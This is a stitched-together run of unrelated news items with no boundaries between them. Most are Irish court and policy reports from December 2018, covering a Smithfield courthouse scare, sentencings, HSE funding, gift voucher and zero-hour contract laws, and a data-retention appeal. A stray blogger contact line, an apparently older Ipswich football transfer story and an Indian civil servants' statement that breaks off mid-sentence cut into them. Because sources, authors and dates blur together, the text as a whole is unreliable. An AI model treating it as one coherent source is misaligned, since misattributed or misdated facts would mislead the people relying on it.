bomb disposal officers from the Irish Army deployed to the scene as the building was evacuated. Gardai helping a woman from a courthouse in Smithfield. Pic: Collins The Explosive Ordnance Disposal (EOD) team carried out a controlled explosion and removed the suspect device for further examination. The security cordon was subsequently lifted and hearings resumed this afternoon. Judge Susan Ryan was presiding over a family law hearing when the incident happened at about 11.30am. Justice Minister Charlie Flanagan said: "While thankful that nobody involved was injured, I am nonetheless conscious of the impact on the judge, court personnel and all others who were in the court at the time. "The security of the courts and the safety of all who use the courts is a matter of the highest priority for me. "The courts play a fundamental role in our justice system and must always be able to operate without hindrance. "I commend the Gardai for their swift actions in response to the incident that unfolded. The matter is now the subject of a Garda investigation." Part of the Garda cordon in Smithfield. Pic: Caroline O'Doherty. A spokesman for the Irish Courts Service said: "The courts service is very concerned at the nature of this incident and is thankful that all our colleagues and the public remained safe. "This incident highlights the need to constantly keep courthouse security under review - in terms of both a Garda presence and appropriate security at each court sitting". The spokesman noted that airport-style security scanners are due to be introduced for family law court sittings when the hearings are moved to a new complex at Hammond Lane. "This level of security has been operational in the Four Courts and the Criminal Courts of Justice for over a decade," he added. "Such security measures limit the opportunity for incidents such as the one this morning". The Council of The Bar of Ireland said: "The shocking events in the Family Court in Phoenix House this morning and other recent high-profile incidents involving assaults on barristers are of utmost concern to The Bar of Ireland. Issues of safety and security of barristers, and all those working in the courts system, are an absolute priority for the Bar and these matters have previously been raised with the courts service. "The Bar of Ireland will continue to actively engage with all relevant parties to ensure the protection of our members and to facilitate a safe environment in which barristers can advocate on behalf of their clients." The arrested man was taken to Bridewell Garda station, where he remained in custody this evening. Today's incident caused travel disruption in the city, forcing the closure of a Luas stop outside the building. Crowds of office workers and barristers dressed in court attire gathered at the security cordon as the operation continued over lunchtime. Earlier: Council of The Bar of Ireland describe Family Law Court incident as 'shocking' The Council of The Bar of Ireland have released a statement, describing the events at the Family Law Court as "shocking". Gardai earlier evacuated the courts in Dublin after reports of a man producing what turned out to be a fake gun as well as a suspect device. Armed Gardai rushed to the scene inside the Phoenix House court complex at around midday where a woman is said to have been threatened. "The shocking events in the Family Court in Phoenix House this morning and other recent high profile incidents involving assaults on barristers are of utmost concern to The Bar of Ireland," said The Council of Bar of Ireland in a statement. Issues of safety and security of barristers, and all those working in the Courts system, are an absolute priority for the Bar and these matters have previously been raised with the Courts Service. "The Bar of Ireland will continue to actively engage with all relevant parties to ensure the protection of our members, and to facilitate a safe environment in which barristers can advocate on behalf of their clients. Earlier: Minister for Justice Charlie Flanagan has commended the gardai for acting quickly. He added that it is imperative that the courts remain a safe and secure place. While thankful that nobody involved was injured, I am nonetheless conscious of the impact on the Judge, Court personnel and all others who were in the Court at the time," Minster Flanagan said in a statement this afternoon. "The security of the Courts and the safety of all who use the Courts is a matter of the highest priority for me. "The Courts play a fundamental role in our justice system and must always be able to operate without hindrance. "I commend the Gardai for their swift actions in response to the incident that unfolded. The matter is now the subject of a Garda investigation. The Army Explosive Ordnance Disposal (EOD) team carried out a controlled explosion on a suspect device at the scene in Smithfield. The device has now been removed from the scene for further examination. The man arrested in connection with this incident remains in Garda custody. All court sittings have resumed. Earlier: Gardai have confirmed that they have arrested a man at the Family Law Courts in Smithfield, Dublin. They received reports of a man armed with a firearm and a suspect device at around 11.30am. The man has since been arrested and officers seized an imitation firearm. He is being held at Bridewell Garda station. The Army bomb squad are at the scene to examine a suspect device. The Courthouse has been evacuated and a scene is in place. Investigations are ongoing. Caroline O'Doherty of the Irish Examiner has reported that the man entered a court where Judge Susan Ryan was sitting, opened a bag and produced what he claimed was a gun. Gardai still maintaining a wide cordon at Smithfield, Dublin following an armed incident in the family courts a short time ago #iestaff pic.twitter.com/JLtpC1sqOe Caroline O'Doherty (@codohertynews) December 20, 2018 He is said to have confronted a woman and a barrister, opened his jacket and claimed to have a device before the courts were evacuated and he was arrested. Earlier: Armed Gardai rushed to the scene inside the Phoenix House court complex at around midday where a woman is said to have been threatened. Some sort of security incident in Smithfield. Armed Gardai at the scene. Rumours of shooting inside Phoenix House court complex pic.twitter.com/DIAH4SEJeA Eoin Martin (@egmartinator) December 20, 2018 RTE News has reported that the Army Bomb Disposal team have also been called as it is understood the man also had an explosive device. It is reported that the gunman has been arrested and has been taken to Bridewell Garda Station. A garda cordon is in place at the scene and a security check of the building is ongoing. People waiting at the Luas stop have been asked to move away from nearby buildings. The Luas operator says the Red Line is running only between Saggart/Tallaght and Blackhorse on instruction from the Gardai. There is no service between Blackhorse and the City/The Point. Luas tickets are valid on Dublin Bus for the duration of the disruption. Gift vouchers are to have a minimum expiry date of five years under proposed legislation backed by the Cabinet. The Consumer Protection (Gift Vouchers) Bill 2018 also includes two other key provisions. The first relating to an existing requirement to spend a gift voucher in full in a single transaction will be banned. For example, if a consumer has a voucher for 100 but wants to buy something for 50, the shop or provider will not be able to force that consumer to spend it all at once. Minister for Business, Enterprise and Innovation Heather Humphreys The Bill, it is envisaged, will also prohibit retailers from cancelling vouchers if there happens to be an incorrect name or spelling on a voucher or charging additional fees to correct the name on the voucher. According to feedback from public consultation, it's a problem which regularly arises with airline vouchers if the name on the voucher doesnt correspond exactly with the name on the passport. Minister for Business, Enterprise and Innovation Heather Humphreys said there was cross-party support for the legislation which she hopes to enact in early 2019. By having a set five-year expiry date on all gift vouchers, we will provide certainty to everyone involved," she said. "This has been a real bugbear for people for many years and, of course, its particularly relevant now in the run-up to Christmas when many of us will buy gift vouchers for family and friends. In June, the Government drafted a Bill providing for a five-year minimum expiry date for gift vouchers. It also includes a provision giving the minister power to set fees for the issue and replacement of gift vouchers and for inactive balances on gift vouchers. However, in the course of drafting the legislation, a number of legal issues emerged on foot of advice from the Office of the Attorney General and the Office of Parliamentary Council which Humphreys said will "need further examination." However, rather than delay the Bill further, the Government has decided to progress the legislation without the provision to ensure that the 5-year expiry date and other protections are in place for consumers as soon as possible. Ms Humphreys said she hopes to be in a position to introduce an amendment to deal with the fees issue at Committee or Report Stage. The company behind the One4all multi-store gift cards, Gift Voucher Shop, has welcomed the Cabinet's support of the legislation. A vulnerable homeless man assaulted a motorist by hurling a rock through her passenger window, a court has heard. Garda Liam Carroll revealed that January Russell thought Darren Larkin, 32, was going to cross in front of her car, but he instead ran at her vehicle and threw a large rock through the window. The glass shattered, the rock struck Ms Russell on the arm and she had to pull in at the side of the road, terrified. She later told gardai she had bruising to her arm and was now more careful about driving. Larkin pleaded guilty at Dublin Circuit Criminal Court to assaulting Ms Russell causing her harm at the N11 Stillorgan, Dublin, on March 8, 2018. He also pleaded guilty to assaulting Mark O'Donoghue on Old Dublin Road, Stillorgan, and assaulting Dan O'Donovan at McDonald's, Stillorgan shopping centre, on the same date. He further pleaded guilty to damaging a glass window at the McDonalds outlet. Gda Carroll agreed with Grainne O'Neill BL, defending, that her client is a vulnerable man suffering from post-traumatic stress disorder and psychosis. He accepted that Larkin had been sleeping in a church car park at the time. Gda Carroll told John Byrne BL, prosecuting, that staff at McDonald's had been letting Larkin use the washroom facilities for a number of months. On the night in question, he came in to use the downstairs bathroom and when he returned he threw a full can of beer at Mr O'Donovan. He next threw a tray, which missed Mr O'Donovan, and then tried to pick up a till. Staff managed to lock him out of the cafe, but he shattered a glass window pane trying to get back in. He left the scene and put a brick through the window of a parked car along the Old Dublin Road, before punching pedestrian Mark O'Donoghue in the face. Mr O'Donoghue later told gardai that he managed to dodge more blows from Larkin, who followed him a short distance up the road. This injured party said Larkin was acting in a bizarre and agitated manner, shouting come on you f**k. Gda Carroll said Larkin crossed the road into the grounds of the Talbot Hotel and kicked wing mirrors off two parked cars. He then made his way back onto the N11 and attacked Ms Russell's vehicle. The garda said members of the public were keeping Larkin at the scene when he arrived. Larkin, who smelled strongly of alcohol, made derogatory remarks to him and said: I've done nothing wrong. God is watching. 'It wasn't a well person who was on a rampage that night' Gda Carroll told Mr Byrne that Larkin later admitted being on a lot of drugs and alcohol that night. He said he was ashamed and wished to apologise to the injured parties, but was too embarrassed to go back to them and express remorse. Judge Martina Baxter commented that it wasn't a well person who was on a rampage that night. Ms O'Neill submitted to Judge Baxter that she has been representing Larkin since 2002 and had watched him often take one step forward and two steps back. She outlined his tragic background and revealed that Larkin had been abused throughout his whole childhood. She told the judge that Larkin first had suicidal ideation when he was ten years old, that he spent time in youth detention centres and went to Sweden for treatment for his problems. Referring to a report handed into court, she said Larkin has alcohol problems, suffers from psychosis and has been diagnosed with mental disorders. Counsel highlighted that the doctor who had compiled the report suggested that some form of sheltered housing was the only way forward for Larkin. Judge Baxter put the matter back to July 2019 and ordered urine analysis, governor's reports and an updated report from a psychologist. The court heard Larkin has 73 previous convictions, including 24 thefts. He is currently serving the reactivated portion of a criminal damage sentence and is due for release in 2019. Even with cost reductions and improved efficiencies, it will not be possible to meet anticipated health and social care needs next year, the Health Service Executive has admitted. The HSE has estimated the total cost next year of maintaining the existing level of service at over 15.8bn some 50m more than what is available to spend. HSE deputy director general Dean Sullivan speaking at the launch of the authoritys National Service Plan for 2019 painted a bleak picture. While we will endeavour to ensure we provide value for the monies we spend, we are very cognisant that meeting both current and future challenges is not sustainable, he said. We continue to experience high hospital occupancy levels, pressure regarding waiting lists, and increasing demands on other social care and demand-led schemes. Mr Sullivan said they would continue to respond to the most pressing patient and client needs within the resources available. We will seek to maintain activity levels at 2018 planned outturn position and focus on cost reductions and improved efficiency. The HSE has admitted that bed capacity continues to outweigh demand and as a result some people would continue to experience delays waiting or admission to a hospital bed. Mr Sullivan said the capacity constraints might lead to some drop-off in elective in-patient activity for non-urgent patients. But we will seek to work with the National Treatment Purchase Fund to ensure that the overall impact on patients is kept to an absolute minimum next year, he said. The HSE has a health budget of 16bn allocated, a 848m (5.6%) increase on last year. However the funding includes 198m in development funding 20m relates to the full-year cost of developments this year, with 178m for new developments next year. When the 114m overrun on the HSEs directly provided services is deducted, as required by legislation, together with dormant account funding of 2.5m, there is a budget of 15.7bn for all other costs next year. Health Minister Simon Harris said it is an ambitious but a realistic service plan for the HSE. He said the health authority is expected to live within the resources provided and manage them carefully. I have no doubt that the HSE are very much up to that challenge, said Mr Harris at the launch of the service plan in Dublin. The minister was asked if publication of the plan had been delayed because some of it had to be rewritten. Mr Harris said he received the plan last Friday and wanted to take some time to read through it and make sure that it was going to work and deliver on Government priorities. He described the funding as adequate to deliver the services outlined in the plan. The minister was also asked whether patients seeking nursing home care under the Fair Deal scheme might face longer waiting times next year to access the programme. I think it is fair to say there was a collective concern across the HSE and the department about making sure that the Fair Deal piece was right, said Mr Harris. What we have done is make sure through our engagement in recent days that there is adequate provision within the Fair Deal budget to make sure that we dont get back to the bad old days that we saw in pre-2014 in terms of very long waiting times. Update: The Irish Cancer Society has said that hospitals can waive charges or agree instalment plans for cancer patients who are finding it difficult to pay charges in cases of excessive hardship. The head of the Cancer Society, Averil Power, said that, however, these alternatives are not always made known to patients. The charity is calling on the Government to change legislation which allows the HSE to hire debt collection agencies to pursue cancer patients for fees for chemotherapy. Letters from debt collection agencies are causing great distress to cancer patients, the head of the Cancer Society, Ms Power told RTEs Morning Ireland. Cancer patients who dont have a medical card or private health insurance have to pay for each treatment, 80 per chemo session with a cap of 800 per year, she explained. The charges are inpatient fees and are the same for all patients, the difference being, she said, that cancer patients require regular treatment, sometimes for months. At present, the HSE policy is that 47 days after an invoice is issued if it is not paid, it is referred to a debt collection agency, said Ms Power. If they dont pay then there are phone calls, letters, home visits and threats with Stubbs Gazette. The Irish Cancer Society will today publish guidelines to make people aware of the alternatives and options open to them, she said. This is HSE policy, thats why were calling to have it changed. It is up to the Government to stop the policy of pursuing cancer patients. It is the law so were urging the Government to change the law. To be pursued in such a particular way is incredibly unfair. It is totally unacceptable. It should stop. Earlier: HSE referring cancer patients to debt-collectors There are calls for the HSE to stop referring cancer patients' debt to collection agencies. The Irish Cancer Society says the practice is causing distress and worry to those going through treatment. The Irish Cancer Society said that many people receiving chemotherapy or radiotherapy treatment without health insurance or a medical card are being "hounded" by debt collectors. The charity, which is today publishing advice on the issue, says they have received complaints from many patients. Chief Executive of the Irish Cancer Society, Averil Power, said the sums sought can vary but the whole process is very unfair. Ms Power said: "Ranging from just 80 in some cases up to 800 or more in others, so they are getting letters from debt -collecting agencies, threatening phone calls, threats that their name will be made public if they don't the fees. "These letters are being sent to six patients who are dealing with the physical impact of their cancer, the emotional impact and all the other stresses with their family and they really can't cope with this stress, as well." Ms Power said there are options for patients. She said: "I'm encouraging them to engage with the Finance Manager in the hospital even if a debt-collection agency has already been engaged. "I am also making them aware that while agencies can legally pursue debt they can't make demands in a way that is threatening or so frequent that it causes great alarm or distress. "We also want to make patients aware that we can help at the Irish Cancer Society." Contact: Mostly, the Rude Pundit doesn't give a shit what you have to say, but, if you have to say it, you can write to Lee Papa here: rudepundit(at)yahoo(dot)com A man who kept a loaded sawn-off shotgun in his bedroom because of a real threat to his life has been sentenced to five years in prison. Darren Mullarney, 41, of Fortlawn Park, Blanchardstown, Dublin, pleaded guilty at Dublin Circuit Criminal Court to unlawful possession of a sawn-off shotgun at his home on May 25, 2018. Passing sentence today, Judge Melanie Greally sentenced Mullarney to five years in prison but suspended the final 18 months given what she said were the very exceptional circumstances of the case. The judge noted that it was accepted by the prosecution that Mullarney had had a real threat to his life from a serious member of the criminal fraternity and that he had already been shot earlier that month arising out of the same feud. She set a headline sentence of seven years but reduced this because of substantial mitigating factors including Mullarney's high level of cooperation, his early plea and his insight into the serious nature of his offence. The court heard that Mullarney had been granted bail but chose to remain in custody for his own protection. Garda Mark Quill told John Byrne BL, prosecuting, that gardai received information that Mullarney might have a shotgun in his possession and searched his house on May 25 last. Gda Quill said they discovered a sawn-off shotgun loaded with two cartridges sitting on a shelf in his wardrobe. Mullarney told gardai he had purchased the gun the day before and had done so out of fear for his life. Mullarney told gardai that certain people had come at him on five previous occasions and that they were not going to stop until they kill me. He described an incident on May 8, of this year in which people at arrived at his home and a scuffle broke out, during which a weapon was produced and Mullarney was shot in the leg. Mullarney said he chose not to report the incident as he believed it would make matters worse. Mullarney 'targeted' by known criminal Gda Quill said gardai were aware of an ongoing dispute between Mullarney and a known criminal, though they did not know why he had been targeted. Mullarney maintained that he did not owe a drug debt to this person, but rather that this was a matter of respect. Mullarney has four previous convictions, the most recent being for public intoxication in 2000. Mary Rose Gearty SC, defending, said Mullarney was not a man who instigated violence but that he had armed himself as he felt it was the only option because of the very threatening circumstances in which he was living. She said being in custody had done Mullarney a great favour because it took him out of the situation he was in. Ms Gearty said her client accepted full responsibility for the offence and had a good work record in scaffolding and the building industry. She said he has a six-year-old son and is a step-father to five other children. The court heard Mullarney is using his time in custody well, by reading and using the gym. A new law banning controversial zero hour contracts "in most circumstances" will come into force in March of next year. The Employment (Miscellaneous Provisions) Bill was today passed by both houses of the Oireachtas and will now be presented to the President for his signature. Commencing in the first week of March 2019, the legislation aims to address the challenges caused by the increased casualisation of work and to strengthen the regulation of precarious employment. Under the legislation, zero hour contracts will be outlawed except in situations of genuine casual employment and where they are essential to allow employers to provide cover in emergency situations or to cover short-term absence. The legislation will also compel employers to pay a new minimum payment to employees called into work but sent home again without work. The Bill introduces new rules on banded hours for employees who routinely work longer hours than reflected in their contract. Under the new law, these employees will be entitled to be placed in a band of hours that better reflects the hours they have worked in a 12-month period. The Bill also provides strong anti-penalisation provisions for employees who invoke their rights under the legislation. Employers will also be obliged under the new laws to give employees basic terms of employment within five days Employment minister, Regina Doherty, described the Bill as one of the most important pieces of employment legislation in a generation: "This is one of the most significant changes to working conditions in a generation and, crucially, will improve the security and predictability of working hours for employees on insecure contracts and those working variable hours. In a changing world, this reform ensures that the legal protections for all workers will match the conditions experienced by a modern workforce and make a real difference in the lives of thousands of workers. Welcoming the legislation, Mandata general secretary, John Douglas, said that Dunnes Stores workers and union activists who lobbied on the issue of zero hour contracts for the last four years deserve the majority of the credit for the legislation passing. Dunnes Stores workers went on strike in April 2015 in order to raise awareness of the issue of low-hour contracts. Our members in Dunnes took the brave decision to go on strike for secure hour contracts four years ago. They brought the issue of insecure work to national attention, and they paid a price for doing so. "It has taken four years for politicians to catch up, but now that they have passed this crucial Bill, vulnerable workers will have the opportunity to obtain a contract of employment which reflects the hours they actually do. Now, as a result of this legislation, thousands of workers will be able to apply to their employer after 12 months seeking a new contract with secure hours. "This removes the uncertainty about whether you will be able to pay your bills this month, and will enable workers to better plan their lives," he said. The Mandate general secretary said the legislation will also help ease the housing crisis: Having ultra-flexible contracts with no certainty of hours or income denies many workers the opportunity of obtaining a mortgage. "When a worker goes into a bank, they can only obtain a mortgage based on the guaranteed hours in their contract. "That means an average Dunnes worker would only be able to obtain a mortgage for approximately 30,000, which is impossible to purchase a house in Ireland and means the worker is stuck in the private rental sector where rents have increased by more than 80% in recent years." A young man who claimed he fled Malawi and came here after his sister was murdered there due to having albinism has won his High Court challenge over being refused subsidiary protection. Mr Justice Richard Humphreys directed a rehearing of the application before a different member of the International Protection Appeals Tribunal. (IPAT) He did so after finding deficits in how the IPAT member who heard the man's appeal concluded there was no country of origin information to support arguments relatives of those suffering from albinism are at risk in Malawi. There was certain country information before the tribunal to that effect, he said. That included a UN news service press release dated April 29, 2016 stating parents of children with albinism constantly live in fear of attack. A 2016 Amnesty International Report entitled "We are not Animals to be Hunted or Sold - Violence and Discrimination Against People with Albinism in Malawi stated "misconceptions" can have a "damaging effect on members of families of people with albinism and fear of harm is also felt by other family members. An Amnesty International UK document dated February 2, 2017, entitled The Ritual Murders of People with Albinism in Malawi" referred to the need to protect those with albinism and their families at risk of attack. An article in the LA Times, dated June 15, 2017, also noted the UN is relocating families of people with albinism from Malawi to Canada and other countries, the judge said. Insofar as the IPAT decision expressly states there is no country information supporting the proposition relatives are not at risk, "that is hard to view as correct as phrased", the judge said. Earlier, he noted the IPAT member had accepted the man, aged in his early twenties, has a sister with albinism. That was "quite a favourable finding" given the tribunal also felt there were "significant question marks" over the man's story, he said. Represented by Mark de Blacam SC, with Garry O'Halloran BL, the man claimed his sister was murdered due to having albinism and he was then advised not to be seen in public. He alleged he fled his home after there was an attempt to enter it and came here in May 2016. After being refused asylum, he sought subsidiary protection which was also refused. After IPAT rejected his appeal over being refused subsidiary protection, he sought judicial review. In his recently published judgment, Mr Justice Humphreys noted counsel for the IPAT and State respondents had conceded the country information shows relatives are at risk of discrimination, whatever about persecution. It is "not readily obvious" what the tribunal had in mind in order to reconcile the finding on the face of the decision with the information before it, he said. Whether that was an "error" or, as the court preferred, a deficit in making clear the tribunals reasoning process, the net outcome is the same, he ruled. He quashed the decision and directed a rehearing. A young Dublin man has been jailed for two years for having sex with a 14-year-old neighbour with whom he was having a relationship. The girl told gardai that the man, who was aged 21 years at the time, had not made their relationship public but had been affectionate to her when they were alone. She said she had sex with him on one occasion while she was in his house. The man (25), who cannot be named to protect his victim's identity, pleaded guilty at Dublin Circuit Criminal Court to having sexual intercourse with a child under the age of 17 on a date between July 1 and 24, 2014. He has 47 previous convictions for assault, drugs offences, false imprisonment, criminal damage and road traffic matters. Judge Martina Baxter had adjourned the case having heard evidence last July. Today she sentenced the man to two and half years in prison with the final six months suspended on strict conditions. Judge Baxter ordered that the man must engage with The Probation Service for two years upon his ultimate release from prison, inform the service of his address at all times and engage with any sex offender treatments programmes and addiction counselling services it may recommend. Garda Campbell Brennan told Fiona McGowan BL, prosecuting at the sentence hearing that the sexual offence came to light after the girl told her school chaplain. The chaplain then notified the teenager's family and gardai. The man initially said he didn't know the girl, but later admitted he had had sex with her once in his bedroom. He said he had not been clear about what age she was. In a victim impact statement read out by Ms McGowan, the girl described how she became very depressed and attempted suicide after the incident. She said she suffered anxiety and attended rehab for her drug and alcohol addictions. The girl said she had to give up on school because she couldn't concentrate on anything and that her problems affected her parents' well-being also. She said her behaviour became aggressive and she pushed away from her parents, but things have been improving because of the treatment she has received. She revealed she feels paranoid walking past the man's house and different triggers make her think about the incident. Gda Brennan said he was not aware the girl had attended mental health services prior to the incident when Michael Lynn SC, defending, put this to him. The garda agreed that the man had had a difficult childhood, had left school at 14 years of age and found himself in a world of drugs and alcohol. The garda further agreed the man had had periods of homelessness. Mr Lynn submitted to Judge Baxter that his client had entered an early guilty plea, had been co-operative and expressed remorse for any harm he had caused. Counsel submitted that his client had detoxified from drugs while in custody awaiting sentence on this matter. He said the man had completed an anger management programme and was hopeful to engage with a psychologist in this area. Judge Baxter noted that anger is clearly an issue as the man had 12 disciplinary reports on his prison record. A man who threatened to shave his former partner's head and kicked down a bathroom door to continue attacking her has been ordered to stay away from her for 30 years. Daniel Wildes, 32, of Devitt Villas, Glasthule, Dublin, had pleaded not guilty at Dublin Circuit Criminal Court to assault causing harm, threats to kill and false imprisonment of Natasha Cummins at her home on April 1, 2018. A jury returned a unanimous verdict of guilty on the charge of assault causing harm after deliberating for four hours and 39 minutes. The jury also returned unanimous verdicts of not guilty on the charges of threats to kill and false imprisonment. Judge Patricia Ryan sentenced Wildes to four years' imprisonment, but suspended the final year of the sentence providing he keep the peace and be of good behaviour for a period of three years post-release. Judge Ryan also suspended the final year on the condition that Wildes stay away from Ms Cummins and from her property or place of employment, and that he in no way attempt to contact her or get another person to contact her on his behalf, for a period of 30 years. Sergeant Eoin O'Connor told Antonia Boyle BL, prosecuting, that Ms Cummins returned to her home after a night out to find empty beer cans all over her house. Wildes, her former partner who had been babysitting their four children, said he would clean the house up and suggested she get some sleep. Ms Cummins woke up when Wildes entered her bedroom and grabbed her hair. He demanded to see her phone and she refused. Wildes proceeded to throw her around the room and kicked the back of her spine. He threw a cup in her direction which hit off a wall, and threatened to shave her head with an electric razor. Ms Cummins locked herself in a bathroom and Wildes kicked down the door. Wildes had his knees pressing down on her chest and choking her when the doorbell rang and he stopped attacking her. In a victim impact statement read out in court on her behalf, Ms Cummins said she had extensive bruising all over her body and that her doctor thought she might have sustained a concussion. Ms Cummins said she suffered from flashbacks and nightmares. She said she did not think Wildes was sorry and was not looking forward to Daniel getting out of prison. He was always aggressive, but I never thought he would go that far with me. Wildes has 40 previous convictions, including two for assault causing harm and a number for violent disorder. Barry Ward BL, defending, said the court could distinguish between this offence and his previous convictions for assault, though he accepted this assault was arguably more serious. He said his client apologised unreservedly for his actions. Mr Ward said his client accepted that he had assaulted Ms Cummins and in light of the verdict he accepted he went too far. He said that Wildes' childhood had been marked by absent and insufficient parenting. Judge Ryan said that this offence was a very violent assault and that it lasted between 30 and 40 minutes. She said the injuries sustained by Ms Cummins and the effects the assault had on her were taken into account when considering the sentence. She said backdated the sentence to April 12, 2018, when Wildes went into custody on this matter. Two Irish-registered fishing boats have been detained in the Irish Sea for alleged breaches of fishing rules. It was part of an overnight operation by naval service vessel LE Eithne when officers boarded the boat. A detective found guilty of harassing a State solicitor by sending abusive letters and emails is seeking to have her conviction overturned on grounds that the State retained her data under doomed Irish law. Eve Doherty, 50, with an address in Blackglen Road, Sandyford, Dublin, was found guilty by a jury at Dublin Circuit Criminal Court of harassing State solicitor Elizabeth Howlin between September 2011 and March 2013. Doherty, who had denied the charge, maintains her innocence. She was found not guilty on two counts of making false statements on two dates in March 2012, in which she claimed Ms Howlin was perverting the course of justice. At the time in question, Ms Howlin worked with the Director of Public Prosecutions (DPP) where she was involved in deciding whether or not to direct prosecutions in criminal cases. Doherty held the position of detective sergeant and worked in the crime and security division of An Garda Siochana. The trial heard that over an 18-month period, letters and emails were sent to Ms Howlin's home, her place of work and to her GP calling her corrupt, an incompetent useless hobbit and a two-faced bitch. The court heard Ms Howlin didn't know Doherty until the trial and that Doherty was then in a relationship with Ms Howlins ex-partner. Sentencing Doherty to three years imprisonment in January 2018, Judge Melanie Greally said the communications by Doherty contained outright and scurrilous lies. They contained statements which were variously disparaging, insulting and offensive, both in a personal and professional manner. Doherty has brought an appeal against her conviction on more than a dozen grounds. The Court of Appeal has reserved its judgment. Counsel for Doherty, Michael OHiggins SC, said the prosecution relied on two pieces of technical evidence - a static IP address and information related to a "hushmail" email account kept on a server in Canada. He said requests were made for the data under the doomed Communications (Retention of Data) Act 2011. Mr OHiggins said the 2011 Act was introduced to give effect to an EU Directive which had been struck down by the European Courts. He said the State was aware since 2016 that the 2011 Act breached EU law and the High Court had reached the same conclusion in the case of convicted murderer Graham Dwyer two weeks ago. In replying submissions today, counsel for the Director of Public Prosecutions, Kerida Naidoo SC, said electronically stored data was given a very clear definition in the Directive. It was personal data of an identified or identifiable natural person. Mr Naidoo said the information relied upon was not personal data at all within the meaning of the Directive. None of it allowed for the accused to be identified either directly or indirectly regardless of how the data was combined together, he submitted. He said all of the emails were anonymous. When they were de-encrypted, the only information the gardai got was the IP addresses of the internet shop. Surveillance was put in place. A camera was put into the shop. A photo of Doherty was taken from that footage. On September 28, when Doherty went into the internet cafe, the shop owner recognised her from the photo, and called the gardai. An undercover garda went in and sat next to Doherty, or close to her. She was wearing a wig and dark sunglassses. She was followed home. That was real world evidence that had nothing to do with personal data. 2011 Act 'dead as the proverbial doornail' Mr Naidoo said the prosecution asked the jury to infer that Doherty wrote all of the emails. There was also behaviour evidence - the wig and sunglasses - and the comparative language exercise carried out by the gardai. If anybodys privacy rights were affected, it was the injured partys, Mr Naidoo said Mr O'Higgins had said the States position in relation to the breach was that it was a matter between the Irish Government and the EU, so it doesnt affect a citizens rights. He said Ireland had possibly the strongest exclusionary rule in the common law world and it didnt make sense to say the law still stood. Mr Justice John Edwards remarked that the EU Directive did not apply to individuals but applied to the State. He said the 2011 Act was the law of the land and the EU did not have a right to strike down Irish legislation. There may be penalties or enforcement action taken against Ireland in respect of the breach, but in terms of what the gardai did in this case - in 2012 and 2013 - it was the law of the land at the time, the judge said. Mr OHiggins said the 2011 Act was as dead as the proverbial doornail. He said the State was on notice for years that the EU Directive was bad law and, since 2016, that the Irish legislation breached EU law. He said the European Unions take on privacy was somewhat different to our own. He said the gardai appeared to operate a system of "mass surveillance", irrespective of whether individuals were suspected criminals. The maximum two-year time limit for retention was routinely breached and independent levels of supervised access were found wanting". President of the Court of Appeal Mr Justice George Birmingham, who sat with Mr Justice John Edwards and Ms Justice Isobel Kennedy, said the court would reserve its judgment. Ipswich are ready to test Hassan Kachloul's loyalty to Southampton with a renewed bid for the Moroccan midfielder. Kachloul turned down a move to Portman Road earlier this season after the two clubs agreed a 1.8m fee. But Ipswich manager George Burley appears undeterred by that rejection and will hope to use half of the 3m brought in from the sale of David Johnson to Nottingham Forest last week to seal the deal. Southampton risk losing the player for nothing in the summer with his current contract up at the end of the season and are yet to begin talks over an extended stay at The Dell. "It's disappointed me that the club have taken so much time and waited until the end of this contract to talk to me about a new deal," said Kachloul. "They have asked my agent to talk this week but nothing has been decided yet. I'm a bit surprised they have left it so late. "I'm very happy with my football here but we will see what happens. If I don't stay at Southampton I will definitely stay in England." Town's 2-0 win over Leicester lifted Town back up to fourth in the Premiership - reaching the 40-point mark set by Burley for survival in the process - and the Blues boss' next move in his plan to challenge for a surprise European place come May is to strengthen "all areas of the squad". Burley was due to have a meeting with chairman David Sheepshanks to discuss possible additions, with Kachloul top of the list. Burley said: "I will not disclose which player or which club, purely that we have put a bid into a Premiership club. "We have been watching this player for some time and I firmly believe that he can add to the quality of what is a very talented and professional squad." Constitutional Conduct, 18 December 2018 We are a group of retired civil servants from the All India and Central Services who, having spent long years in the service of the Constitution of India, have come together to express ourselves on issues of governance and public policy that have a bearing on constitutional principles, conduct and ethics. Since June 2017, when we first came together, we have spoken out on several occasions when we felt that constitutional values were under threat and that it was incumbent on us to voice our concerns publicly. As a group we have no affiliations with any political party nor do we subscribe to any ideology other than the values enshrined in the Constitution. It is a measure of the rapid erosion of constitutional values that we, as a group, have felt a compelling need to speak out as many as nine times in the last eighteen months. The pace of erosion has been frightening and with each slip we seem to sink further into a lawless abyss. The mob violence in Bulandshahr in Uttar Pradesh (U.P), on 3 December 2018, instigated and engineered with malicious intent, which led to the cold blooded murder of a police officer brave enough to step forward single-handedly to pacify the mob, marks the most dangerous turn yet in the direction taken by the politics of hate in recent times. It shows that in Indiaas most populous state, Uttar Pradesh, fundamental principles of governance, of constitutional ethics and of humane social conduct stand perverted. The Chief Minister of the state acts as a high priest of the agenda of bigotry and majoritarian supremacy a an agenda which now seems to take precedence over everything else. Why is this incident such a frightening indicator of the complete collapse of constitutional values? This is not the first instance of a situation intentionally created to foment communal tension. The history of U.P. is replete with such instances. This is not the first time that a policeman has been killed by a frenzied mob. This is also not the first time that the politics of cow protection has been used as a means of isolating and cornering the Muslim community and deepening the social divide. All this we have seen before but, so far, we had the confidence that whenever a political party actually forms a Government it keeps its partisan political agenda at bay and begins to exercise power with a sense of responsibility so as to gain wider political acceptability. The Bulandshahr episode, which follows a succession of events aimed at isolating and intimidating Muslim communities in U.P., shows that, under Yogi Adityanath, that confidence is misplaced and that hooliganism and thuggery have been mainstreamed into governance not just to intimidate minorities but to teach a lesson to anyone, including police personnel and others in the administration, who dare to be evenhanded in their approach to minority communities. While it may be premature to come to conclusions about the murder of Inspector Subodh Kumar Singh before the investigations are over, there is no doubt that there was nothing spontaneous about the violence that led to his killing, nor is there any doubt as to who the political elements were that aided and abetted the violence. This was a deliberate attempt to display majoritarian muscle and send a message to the Muslim communities living in the region that they have to live in fear, accept their subordinate status and conform to the cultural diktats of the majority community. Inspector Subodh Kumar Singhas reputation of being independent and even-handed and his refusal to act in haste on the complaint of illegal cow slaughter that allegedly took place under his watch, was obviously seen as defiance of the majoritarian will. The local BJP and Sangh Parivar elements had already complained about his anti-Hindu conduct and sought his transfer. He was an impediment to their communal plans and had to go. Much as the Chief Minister may try to mislead by calling it an accident, this was murder with intent. It was murder most foul. As horrifying as the brazen, daylight murder of a courageous police officer is the response of the administration to the event. The Chief Minister refuses to acknowledge the gravity of the incident and its communal intent, condemn the perpetrators of violence or direct the police to take action against them but instead asks them to focus attention on those responsible for illegal cow slaughter. The police authorities themselves draw an equivalence between the killing of a 